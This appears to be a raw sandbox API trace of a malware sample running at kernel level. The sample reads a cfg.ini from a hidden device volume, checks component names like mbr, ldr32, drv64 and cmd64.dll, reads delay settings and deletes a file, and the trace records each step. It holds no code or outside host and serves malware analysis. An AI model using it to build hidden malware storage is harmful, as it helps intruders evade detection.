out: MemoryDescriptorList=0xfffffa8003baf190) [0116.883] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.883] IdePortDispatch () returned 0x103 [0116.883] KeWaitForMutexObject () returned 0x0 [0116.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.883] KeLeaveCriticalRegion () [0116.883] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.884] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.884] KeEnterCriticalRegion () [0116.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.884] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.884] KeLeaveCriticalRegion () [0116.884] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.884] KeEnterCriticalRegion () [0116.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.884] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.884] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c88e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.884] KeLeaveCriticalRegion () [0116.884] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.884] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.884] KeEnterCriticalRegion () [0116.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.884] ExFreePoolWithTag (P=0xfffffa80081efc20, Tag=0x0) [0116.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.884] KeLeaveCriticalRegion () [0116.884] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.884] ReleaseMutex (hMutex=0xf0) returned 1 [0116.884] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.884] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.884] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.884] KeEnterCriticalRegion () [0116.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.884] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.884] IdePortDispatch () returned 0x103 [0116.886] KeWaitForMutexObject () returned 0x0 [0116.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.886] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.886] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.886] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.886] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.886] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28630 [0116.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.886] KeLeaveCriticalRegion () [0116.886] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.886] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.886] KeEnterCriticalRegion () [0116.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.887] KeLeaveCriticalRegion () [0116.887] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.887] KeEnterCriticalRegion () [0116.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.887] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.887] IdePortDispatch () returned 0x103 [0116.887] KeWaitForMutexObject () returned 0x0 [0116.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.887] KeLeaveCriticalRegion () [0116.887] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.887] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.887] KeEnterCriticalRegion () [0116.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.887] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b22000 [0116.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.887] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.887] IdePortDispatch () returned 0x103 [0116.887] KeWaitForMutexObject () returned 0x0 [0116.890] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.890] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.890] IdePortDispatch () returned 0x103 [0116.890] KeWaitForMutexObject () returned 0x0 [0116.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.890] KeLeaveCriticalRegion () [0116.890] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.890] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.891] KeEnterCriticalRegion () [0116.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.891] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.891] KeLeaveCriticalRegion () [0116.891] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.891] KeEnterCriticalRegion () [0116.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.891] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.891] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b28490, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.891] KeLeaveCriticalRegion () [0116.891] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.891] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.891] KeEnterCriticalRegion () [0116.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.891] ExFreePoolWithTag (P=0xfffffa8003b28630, Tag=0x0) [0116.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.891] KeLeaveCriticalRegion () [0116.891] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.891] ReleaseMutex (hMutex=0xf0) returned 1 [0116.891] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.891] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0116.891] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.891] KeEnterCriticalRegion () [0116.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.891] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.891] IdePortDispatch () returned 0x103 [0116.891] KeWaitForMutexObject () returned 0x0 [0116.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.891] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.891] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.891] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.892] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.892] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b285d0 [0116.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.892] KeLeaveCriticalRegion () [0116.892] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.892] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.892] KeEnterCriticalRegion () [0116.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.892] KeLeaveCriticalRegion () [0116.892] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.892] KeEnterCriticalRegion () [0116.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.892] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.892] IdePortDispatch () returned 0x103 [0116.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.892] KeLeaveCriticalRegion () [0116.892] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.892] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.892] KeEnterCriticalRegion () [0116.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b23000 [0116.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.892] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.892] IdePortDispatch () returned 0x103 [0116.893] KeWaitForMutexObject () returned 0x0 [0116.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.893] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.893] IdePortDispatch () returned 0x103 [0116.893] KeWaitForMutexObject () returned 0x0 [0116.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.893] KeLeaveCriticalRegion () [0116.893] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.894] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.894] KeEnterCriticalRegion () [0116.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.894] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.894] KeLeaveCriticalRegion () [0116.894] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.894] KeEnterCriticalRegion () [0116.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.894] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.894] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003af7f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.894] KeLeaveCriticalRegion () [0116.894] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.894] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.894] KeEnterCriticalRegion () [0116.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.894] ExFreePoolWithTag (P=0xfffffa8003b285d0, Tag=0x0) [0116.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.894] KeLeaveCriticalRegion () [0116.894] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.894] ReleaseMutex (hMutex=0xf0) returned 1 [0116.894] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0116.894] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0116.894] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0116.894] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.894] KeEnterCriticalRegion () [0116.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.894] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.894] IdePortDispatch () returned 0x103 [0116.895] KeWaitForMutexObject () returned 0x0 [0116.895] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.895] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.895] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.895] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.895] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.895] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.895] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.895] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.895] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.895] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.895] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.895] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.895] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.895] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.895] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.895] KeLeaveCriticalRegion () [0116.895] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.895] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0116.895] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.895] KeEnterCriticalRegion () [0116.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.895] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.895] IdePortDispatch () returned 0x103 [0116.895] KeWaitForMutexObject () returned 0x0 [0116.895] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.895] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.895] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.895] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.895] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.895] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.895] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.895] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.895] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.895] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.895] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.895] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.895] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.896] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.896] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.896] KeLeaveCriticalRegion () [0116.896] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.896] ReleaseMutex (hMutex=0x100) returned 1 [0116.896] Sleep (dwMilliseconds=0x2bf20) [0116.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x68e7bc30, dwHighDateTime=0x1d24fa4)) [0116.955] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0116.955] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.955] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.955] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.955] KeEnterCriticalRegion () [0116.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.955] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.955] IdePortDispatch () returned 0x103 [0116.955] KeWaitForMutexObject () returned 0x0 [0116.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.955] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.955] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.955] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.955] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.955] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7600 [0116.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.955] KeLeaveCriticalRegion () [0116.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.955] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.955] KeEnterCriticalRegion () [0116.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.955] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 